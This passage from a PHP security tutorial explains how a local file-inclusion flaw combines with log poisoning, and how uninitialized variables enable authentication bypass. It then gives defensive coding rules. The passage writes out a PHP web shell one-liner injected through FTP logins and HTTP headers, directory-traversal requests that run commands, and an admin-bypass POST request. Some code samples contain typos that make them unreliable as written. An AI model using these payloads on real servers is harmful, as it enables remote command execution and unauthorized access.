Vulnerabilities Specific to PHP Scripts [2]

Embedding PHP Code into Log Files

Suppose that there is a vulnerability of the local PHP source code injection type on a server.

Note that the attacker doesn't need to create a new file. He or she can just edit an existing one so that it contains some PHP code.

This brings up the question: Which files on the server can a remote user change? You might think that a user without access to the server couldn't change any files. However, remember that the server can log certain events, and what data will be written into the log files depends on the user to some extent.

Consider an example. Suppose that the attacker has investigated the internals of the server using the local PHP source code injection vulnerability. He or she cannot upload a file with malicious PHP code to the server but can obtain the contents of files on the server.

The attacker is likely to analyze the server settings that have the same names in different systems (e.g., /etc/passwd). In addition, the attacker is likely to try to find the server configuration file that contains much interesting information.

To obtain unauthorized access to directories protected with passwords, the attacker will try to read configuration files that specify how the directories can be accessed. In the Apache server, these files usually have the Image from book .htaccess name.

These files can contain the path to the file with passwords. The attacker can read this file using the vulnerability. Having obtained the contents of the file, he or she can try to find the passwords.

As a rule, such files contain password hashes, rather than the passwords. Although recovering a password from its hash is a complicated problem, it is a matter of time and computational resources to solve it.

An access procedure can also be contained in the server configuration files. In the Apache server, this file is called Image from book HTTPD.CONF. It can be located in various directories, such as the following:

In rare cases, the file can have a name other than Image from book HTTPD.CONF.

The attacker is likely to try reading the contents of system log files. In particular, he or she can be interested in the following files:

  • /VAR/LOG/MESSAGES

  • /VAR/LOG/HTTPD-ACCESS.CONF

  • /VAR/LOG/HTTPD-ERROR.LOG

  • /VAR/LOG/MAILLOG

  • /VAR/LOG/SECURITY

These are files in Unix-like operating systems.

Suppose that the attacker noticed that the /VAR/LOG/MESSAGES file is updated daily and has a small size. He or she will analyze, which events are logged in the file. He or she will also analyze other log files available for reading to the user who started the server.

A common situation is authorization errors are logged in the /VAR/LOG/MESSAGES file and some other log files. Suppose that the hacker noticed the following lines in the /VAR/LOG/MESSAGES file:

Sep  1 00:00:00 server ftpd[12345]: user "anonymous" access denied

Sep 1 00:00:10 server ftpd[12345]: user "vasya" access denied

Sep 1 00:00:20 server ftpd[12345]: user "test" access denied

This means that messages containing FTP server authorization errors are written into this file. Then the attacker will check which characters can be specified in a login. He or she will connect to the server's FTP port and try to authorize using logins with various characters.

A dialog between the attacker and the FTP server could be like this:

   $ telnet ftp.test.ru 21

Trying 127.0.0.1...

Connected to ftp.test.ru.

Escape character is '^]'.

220 ftp.test.ru FTP server ready.

USER anonymous

331 Password required for anonymous.

PASS test

530 Login incorrect.

USER test'test'

331 Password required for test'test'.

PASS test

530 Login incorrect.

USER test test

331 Password required for test test.

PASS test

530 Login incorrect.

USER <hello>

331 Password required for <hello>.

PASS test

530 Login incorrect.

USER test? $test

331 Password required for test? $test.

PASS test

530 Login incorrect.

QUIT

221 Goodbye.

In certain FTP server implementations with certain FTP server settings, the /VAR/LOG/MESSAGES file could contain the following lines after this session:

   Sep  1 00:01:00 server ftpd[12345]: user "anonymous" access denied

Sep 1 00:01:10 server ftpd[12345]: user "test'test'" access denied

Sep 1 00:01:20 server ftpd[12345]: user "test test" access denied

Sep 1 00:01:30 server ftpd[12345]: user "<hello>" access denied

Sep 1 00:01:40 server ftpd[12345]: user "test? $test" access denied



As you can see, the logins are written to the log file as they are. The hacker can embed PHP shell code into the /VAR/LOG/MESSAGES file using the following dialog with the FTP server:

   $ telnet ftp.test.ru 21

Trying 127.0.0.1...

Connected to ftp.test.ru.

Escape character is '^]'.

220 ftp.test.ru FTP server ready.

USER <? system(stripslashes($_GET['cmd'])); ?>

331 Password required for <? system(stripslashes($_GET['cmd'])); ?>.

PASS test

530 Login incorrect.

QUIT

221 Goodbye.

As a result, the following data will be logged in /var/log/messages:

   Sep  1 00:01:40 server ftpd[12345]: user "<?

system(stripslashes($_GET['cmd'])); ?>" access denied

The attacker just needs to exploit the local PHP source code injection vulnerability using a request like this:

http://test/test.php?page=./../../../../../var/log/messages%00&cmd=ls+-la

Thus, an attacker can execute any command on a vulnerable server.

Note that a similar request was used earlier to obtain the contents of files that didn't contain PHP code.

Now, I'd like to describe another method for embedding PHP code into log files to exploit the vulnerability by including and executing the files. Try to include some code into Apache log files. This task is more difficult than embedding code into FTP server log files because the browser by default will URL-encode certain characters, such as a question mark and a space.

A simple example demonstrates that spaces aren't necessary when writing PHP shell code:

   <?system(stripslashes($cmd));?>

This is correct PHP code although it contains no spaces.

However, other URL-encoded characters are still required. These are <, >, $, (, ), and ?. In addition, you may need quotation marks or apostrophes.

What if you don't stick to the standard and try to create a request so that the characters you need aren't URL-encoded?

To do this, you can use the program making any requests, which was described earlier, or create the request manually by connecting to the HTTP server port.

   GET /?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1

Accept: */*.

Accept-Language: en-us.

Accept-Encoding: deflate.

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)

Host: www.test.ru

Connection: Close

Referer: http://www.localhost.ru/

Apache, one of the most popular Web servers, will log the following line:

   127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET

/?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1" 200 2393 "

http://www.localhost.ru/" " Mozilla/4.0 (compatible; MSIE 5.0;

Windows NT 5.0)"

As you can see, this line contains correct PHP code that can be executed by the PHP interpreter:

   <?system(stripslashes($_GET['cmd']));?>

Suppose the log file that contains successful requests is the following: /VAR/LOG/HTTPD-ACCESS.LOG. To exploit the include(".. /data/$id.html") vulnerability, the attacker would send a request that could include the log file to execute the PHP shell code that executes any system command. The request should be like this:

http://test/test.php?page=./../../../../../var/log/httpd-access.log%00&cmd=ls+-la

Consider another example of embedding PHP shell code into values of the HTTP Referer header:

   GET / HTTP/1.1

Accept: */*.

Accept-Language: en-us.

Accept-Encoding: deflate.

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)

Host: www.test.ru

Connection: Close

Referer: http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?>



In this case, the Apache server will write the PHP shell code into the Referer field. The /VAR/LOG/HTTPD-ACCESS. LOG file will contain the following:

   127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET / HTTP/1.1" 200 2393

" http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?>" "

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)"

Writing PHP code into the Referer field is necessary when GET parameters are filtered on the server. For example, this is done when the mod_security module of Apache is used.

Sometimes, it is impossible to embed PHP shell code into the Referer field. For example, if the value of this field is filtered or isn't logged, the attacker can try to embed code into the Agent field of an HTTP request. This field indicates the browser used on the client and, therefore, theoretically can contain any characters.

An example of an HTTP request sending PHP shell code as a browser's name is the following:

   GET / HTTP/1.1

Accept: */*.

Accept-Language: en-us.

Accept-Encoding: deflate.

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0 <?

system(stripslashes($_GET['cmd'])); ?>)

Host: www.test.ru

Connection: Close

Referer: http://www.localhost.ru/

The PHP shell code will be there instead of the Agent field if the server logs the value of this field.

If many sites are located on a hosting server, their log files often are individual and are not collected in one file. It is difficult for the attacker to guess the locations of these files. In addition, log files with error messages can be different for different Web sites, and their names are also difficult to guess.

The attacker who can access the configuration file of the Web server can find the locations of these files. However, the Apache server writes certain error messages into the common error log file rather than into error log files of the sites. As a rule, this file is located at /VAR/LOG/HTTPD-ERROR.LOG; however, this isn't always the case.

This file contains error messages that cannot be assigned to a particular host, for example, when the host name sent in the HOST header of an HTTP request isn't found among the names of the virtual hosts on the server.

Here is an example of a request that results in writing the attacker's malicious data into the log file:

   GET /not-existent.html?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1

Accept: */*.

Accept-Language: en-us.

Accept-Encoding: deflate.

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)

Host: www.not-existent.ru

Connection: Close

Referer: http://www.localhost.ru/

The /VAR/LOG/HTTPD-ERROR. LOG file will contain the following lines:

[Wed Sep  1 10:00:05 2004] [error] [client 127.0.0.1] File does not exist: 

/usr/local/www/not existent.html?<?system(stripslashes($_GET['cmd']));?>

As you can see, there is PHP shell code in the log file. However, attempts to embed PHP code into a common error log file are rarely successful. The Apache server often discards GET parameters when adding records to the error log file (this depends on configuration).

Even if you delete the question mark after the name of the nonexistent file, the following line will be written into the log file:

   [Wed Sep  1 10:00:05 2004] [error] [client 127.0.0.1] File does not

exist: /usr/local/www/not-existent.html<

This is because you have to leave the next question mark in the <? PHP tag.

There can be a rare exception when the PHP interpreter is configured so that it can accept other types of tags, for example, <% %>.

Note that the attacker would avoid embedding into log files a PHP code that is too complicated. If the embedded code contained an error, he or she wouldn't be able to delete it. At the same time, the error in the code would make it impossible to use the file for exploitation of the PHP source code injection.

Therefore, the attacker would test, which characters are written into the log file, before he or she embedded PHP code. The attacker would need to check whether the question mark (?), the greater-than (>) and less-than (<) characters, the apostrophe ('), the quotation mark ("), the dollar sign ($), and the blank space are written into log files without substitution. Based on the results of this test, the attacker would write PHP code that didn't contain filtered characters. In addition, he or she would need to create a request to execute it only once.

The methods for embedding PHP code into log files described here aren't universal. However, they demonstrate the danger of the local PHP source code injection vulnerability.

Protection

I hope I have convinced you that the PHP source code injection vulnerability is dangerous. I demonstrated that an attacker almost always can use this vulnerability to exploit the server and obtain higher privileges on it.

Now I will teach you how to protect against this vulnerability. I'll suggest rules that you should stick to when writing code, to avoid potentially dangerous situations.

The vulnerability is based on the use of variables inside the include() construction. Therefore, the following rule will save you from the vulnerability:



Rule

Never use variables inside the include() construction.

If only constants are used in the include() construction, the vulnerability of this type cannot appear. However, sometimes you still have to use variables inside the include() construction. What should you do?

One solution involves preventing a user from changing the variable used inside the include() construction, for example, with the following:

   <?

$path="/usr/loca/www/include/";

include($path."conf.php");

?>

Here are two other examples: a script named conf.inc.php —

   <?

$path="/usr/local/www/include/";

?>

and a script containing the reference to it:

   <?

include("conf.inc.php");

include($path."func.inc.php");

?>

In these last two examples, the value of the $path variable is strictly determined by the moment of using it inside the include() construction.

A common mistake related to the second example is that programmers forget to include the configuration file in some scripts.

If the path determined by the $path variable leads to the directory, in which the script is located, the absence of the include ("conf .inc.php") construction won't cause errors or abnormal behavior of the script. However, the global PHP source code injection vulnerability will take place.



Caution

A check for the existence of files isn't sufficient protection when you use variables inside the include() construction.

In some cases, it is necessary to include files with the include() function depending on what data were received from the user — for example, you have to include a file depending on the $id value received as a GET parameter.

Any of the following solutions can be secure:

   <?

include( ((int)$id) . ".inc.php")

?>

or

   <?

If ($id==l) include ("1.inc.php");

If ($id==2) include ("2.inc.php");

If ($id==3) include ("3.inc.php");

?>

or

   <?

$file="";

if($id==l) $file="1.inc.php";

if($id==2) $file="1.inc.php";

if($id==3) $file="1.inc.php";

include($file);

?>

Note that in the last example the absence of initialization (the $file=""; statement) would be a severe error. In that case, the attacker could send a forged $id value and a desired $file value to execute some malicious code — for example, http://test/news/news.php?id=99999&file=/etc/passwd

Therefore, I suggest the following rule:



Rule

When you use values received from a user inside the include ( ) construction, the values should belong to a set of valid values. The set should be thoroughly defined and should have a logical foundation.

The Lack of Variable Initialization

Consider a few more examples of programming errors in PHP scripts that could allow a remote user to obtain higher privileges in the system.

One common error is the lack of initialization of variables before the first use of them. To be precise, this isn't a vulnerability, and in most cases the attacker cannot benefit from this. However, the lack of initialization can sometimes have dramatic consequences.

The base for all vulnerabilities caused by the use of noninitialized variables is that, with certain settings of the PHP interpreter, the interpreter automatically registers GET, POST, and sometimes COOKIE parameters sent with HTTP requests. So, if the attacker sends a GET or POST parameter to a variable used without initialization, the variable will have a value not foreseen by the programmer but assigned by the attacker. Thus, the malicious user can affect the logic of the script and, sometimes, find holes in protection.

Consider an example: http://localhost/2/9.php. Here is the listing of this script:

   <?

if(!empty($_POST['pass']))

{

if(strtolower(md5($_POST['pass'])) = '098f6bcd4621d373cade4e832627b4f6')

$admin=l;

}

if($admin==1)

{

echo "Welcome to the system";

}else

{

echo "The password is needed:

<form method=POST>

password:<input type=password name=pass>

<input type=submit value=ok>

</form>";

}

?>

Even if the attacker obtains this source code, he or she won't access the protected part of the system because the password is encrypted with the md5 hash function. The attacker could find the password from the hash by trying every possible value, but this would require much time and computational resources.

By examining the source code of the script, the attacker can notice that the $admin variable is used without initialization. The script assumes there is no default value for the $admin variable if it doesn't equal 1. Indeed, in most cases the value of this variable is not defined until the script checks the password. Then the variable is assigned 1 if the password is correct (i.e., if the hash of the submitted password equals the stored hash).

What will happen if the user sends the admin=1 POST parameter in addition to the password? In this case, the attacker just needs to create an HTML page, save it on the disk, open it in the browser window, enter any password, and submit the form by clicking the OK button. The page should be like the following:

   <html>

<body>

<form action=http://localhost/2/9.php method=POST>

password:<input type=password name=pass>

<input type=hidden name=admin value=1>

<input type=submit value=ok>

</form>

</body>

</html>

The $admin variable will get the value (1) received by a POST parameter. Therefore, regardless of the received password, the $admin variable will equal 1, indicating a successful authorization. This is how an unauthorized user can obtain privileges in a system.

Rather than create and save a special HTML page, the attacker could send the following HTTP request to the server's port 80:

   POST /2/9.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 3000

Connection: keep-alive

Referer: http://localhost/2/9.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 24

<empty line>

pass=notpassword&admin=l

A correct approach to writing a script that uses the $admin flag, indicating whether authorization is successful, should involve initialization of the $admin variable at the beginning of the script. For example, the following script is free from the described error:

   <?

$admin=0;

if(!empty($_POST['pass']))

{

if(strtolower(md5($_POST['pass'])) = '098f6bcd4621d373cade4e832627b4f6')

$admin=l;

}

if($admin==l)

{

echo "Welcome to the system";

}else

{

echo "The password is needed:

<form method=POST>

password: <input type=password name=pass>

<input type=submit value=ok>

</form>";

}

?>

Here, the pass parameter is checked regardless of the other received parameters, and the value of the $admin variable will be set to 1 only when the received password is correct.

Consider another example. This is http://localhost/2/2.php, already familiar to you. Here is its source code:

   <?

if(empty($_GET["id"]) || (string)(int)$_GET["id"] <>$_GET["id"] )

{

echo "

<form method=GET action=2.php>

Enter ID: <input type=text name=id>

<input type=submit>

</form>

";

exit;

}

mysql_connect("localhost", "root", "") ;

mysql_select_db("book1");

$q=mysql_query("select * from test1 where id=$id");

if($r=mysql_fetch_object($q))

echo $r->name;

else echo "Records not found";

?>

I have demonstrated that such a protection can be circumvented by simultaneously using the GET and the POST parameters in an HTTP request.

The id GET parameter is filtered. If it isn't an integer, the piece of code that sends the query to the database isn't executed.

If this parameter is an integer, a database connection is established and an SQL query is sent. Note that the value of the $id variable used in this query without filtration is never initialized. In other words, there is no explicit construction like $id=$_GET['id'];.

Normally, when a GET request is sent to the script, the variable is initialized with the id GET parameter. This parameter has passed the check for validity, so you could expect that the code is secure. Nevertheless, because there is no explicit initialization, the attacker can find a hole by initializing the $id variable to a malicious value.

For example, as I demonstrated earlier, the attacker can send a POST request with a malicious id parameter. At the same time, the request can contain a valid id GET parameter. An example of this request was given earlier in this chapter.

With certain settings of the PHP interpreter, the $id variable will get the value of the id POST parameter first. The use of such a request will allow the attacker to exploit this vulnerability.

Consider the next example, found in http://localhost/2/10.php:

   <?

$i=$_GET['i'];

if(empty($i)) $i=1;

$a[l]="./data/1.php";

$a[2]="./data/2.htm";

$a[3]="./data/3.htm";

include($a[$_GET['!']]);

?>

The idea of this script is that it receives the value of the i GET parameter from the user and selects a file to include and execute it depending on this value. Requests to this script could be the following:

The list of valid files is explicitly declared in the $a[] array. The include() construction contains only one array element, so you could expect that only an allowed file would be included and executed. The $i variable is explicitly initialized to the value of the i GET parameter, and each array element is explicitly declared.

However, the array isn't declared. This allows the attacker to suppose that the array can be initialized to other values.

To understand how this can be done, consider another example. Suppose that there are two requests, http://localhost/2/11.php and http://localhost/2/11.php?a[5]=hello.

The text of the script is as follows:

   <?

$a[1]="The first element";

$a[2]="The second element";

$a[3]="The third element";

$a[4]="The fourth element";

echo "<b>Array elements \$a:</b><br>\r\n";

foreach($a as $k=>$v)

echo "\$a[$k]=\"$v\"<br>\r\n";

?>

As you might expect, the result of the http://localhost/2/11.php request is as follows:

   Array elements $a:

$a[1]="The first element"

$a[2]="The second element"

$a[3]="The third element"

$a[4]="The fourth element"



All array elements are output.

The result of the http://localhost/2/11.php?a[5]=hello request is as follows:

   Array elements $a:

$a[5]="hello"

$a[1]="The first element"

$a[2]="The second element"

$a[3]="The third element"

$a[4]="The fourth element"

As you can see, the GET parameter named a[5] became the fifth element of the $a array. This demonstrates that, if the PHP settings allow someone to register received parameters as global variables, the HTTP GET, POST, or COOKIE parameter can create an array element with a correct name.

Return to the previous example. You know that the attacker can add new elements to the $a[] array. Then, he or she can send an index and use it to initialize the array. Here is a request exploiting this vulnerability:

http://localhost/2/10.php?i=4&a[4]=passwd.txt

The script doesn't check whether the i parameter is a valid array index. A script that would perform such a check (http://localhost/2/12.php) should be as follows:

   <?

$i=$_GET['i'];

$a[1]="./data/1.php";

$a[2]="./data/2.htm" ;

$a[3]="./data/3.htm";

if(!array_key_exists($i, $a)) $1=1;

include($a[$i]);

?>

However, this check doesn't eliminate the described vulnerability. Here is an example: http://localhost/2/12.php?i=4&a[4]=passwd.txt The added array element already exists by the moment of the check.

So, the best solution is one that declares the values of the $a array only after all previous values in this array are destroyed.

Here is the code of an invulnerable script:

   <?

$i=$_GET['i'];

unset($a);// Destroy $a if it exists

$a[1]="./data/1.php";

$a[2]="./data/2.htm";

$a[3]="./data/3.htm";

if(!array_key_exists($i, $a)) $i=1;

include($a[$i]);

?>

To avoid such programming errors, stick to the following rule:



Rule

All the variables used in scripts and programs should be explicitly initialized before they are used for the first time.

When you receive parameters from a user using HTTP, explicitly specify the method you expect (e.g., $_GET ['a' ], $_POST['b'], or $_COOKIE ['c']). Disable automatic registration of global variables.

더보기

댓글,